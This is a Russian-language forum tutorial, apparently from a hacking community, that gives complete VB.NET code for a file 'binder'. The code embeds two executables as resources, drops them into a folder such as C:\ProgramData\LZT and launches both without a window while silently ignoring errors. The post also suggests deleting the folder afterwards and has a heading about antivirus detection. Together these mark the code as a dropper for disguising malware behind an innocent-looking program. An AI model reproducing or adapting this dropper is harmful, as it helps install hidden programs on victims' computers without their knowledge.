Склеиваем файлы на VB.NET

[Morty]

Всем хей)
В этой статье попытаюсь внятно рассказать, как склеить 2 файла на vb.net!
Нам понадобиться:

• Visual Studio (Любая версия)
• Прямые Руки

Приступим!
1. Заходим в Visual Studio и создаём консольное приложение.

2. После создания заходим в свойства проекта.

Имя сборки ставим какое вам угодно!
Целевая платформа ставим ".NET Framework 3.5"
Тип приложения ставим "Приложение Windows Forms"

3. Теперь заходим в раздел "Ресурсы" и кидаем туда 2 файла, которые хотим склеить. На этом этапе нам больше не нужны свойства проекта!
4. Теперь переходим в раздел "Module1.vb"

• Вставляем вот этот код.

[SRC]Imports System
Imports System.Diagnostics
Imports System.ComponentModel
Imports System.IO

Module Module1

Sub Main()

If Not Directory.Exists("Путь создание папки") Then
Directory.CreateDirectory("Путь создание папки")
End If

My.Computer.FileSystem.WriteAllBytes("Путь к созданной папке\Имя первой программы.exe", My.Resources.Имя первой программы, False)

My.Computer.FileSystem.WriteAllBytes("Путь к созданной папке\Имя второй программы.exe", My.Resources.Имя второй программы, False)

Dim myProcess As New Process()

Try
myProcess.StartInfo.FileName = "Путь к созданной папке\Имя первой программы.exe"
myProcess.StartInfo.CreateNoWindow = True
myProcess.Start()
Catch ex As Exception

End Try

Dim myProcess1 As New Process()

Try
myProcess1.StartInfo.FileName = "Путь к созданной папке\Имя второй программы.exe"
myProcess1.StartInfo.CreateNoWindow = True
myProcess1.Start()
Catch ex As Exception

End Try
End Sub

End Module[/SRC]
Вот тут по подробнее.
[SRC]If Not Directory.Exists("Путь создание папки") Then
Directory.CreateDirectory("Путь создание папки")
End If
[/SRC]

Вместо "Путь создание папки" пишем путь где будет создаваться папка.
Например "C:\ProgramData\LZT"
[SRC]My.Computer.FileSystem.WriteAllBytes("Путь к созданной папке\Имя первой программы.exe", My.Resources.Имя первой программы, False)[/SRC]
Вместо "Путь к созданной папке\Имя первой программы.exe" пишем путь к папке, которую создали и название первого файла.
В строчке "My.Resources.Имя первой программы" пишем название программы (Без .exe)
Например "My.Computer.FileSystem.WriteAllBytes("C:\ProgramData\LZT\olzteam.exe", My.Resources.********, False)"
Точно так же делаем со следующей строчкой.
[SRC]myProcess.StartInfo.FileName = "Путь к созданной папке\Имя первой программы.exe"[/SRC]
Эта строчка по запуску программы, тут пишем путь к файлу.
Например "C:\ProgramData\LZT\********.exe"
Точно так же делаем с myProcess1

Можно ещё добавить удаление папки после запуска файлов!
В принципе на этом всё, после того как всё сделали нажимаем на "Сборка" --> "Собрать решение"


Детект:

Надеюсь эта статья была для вас полезна!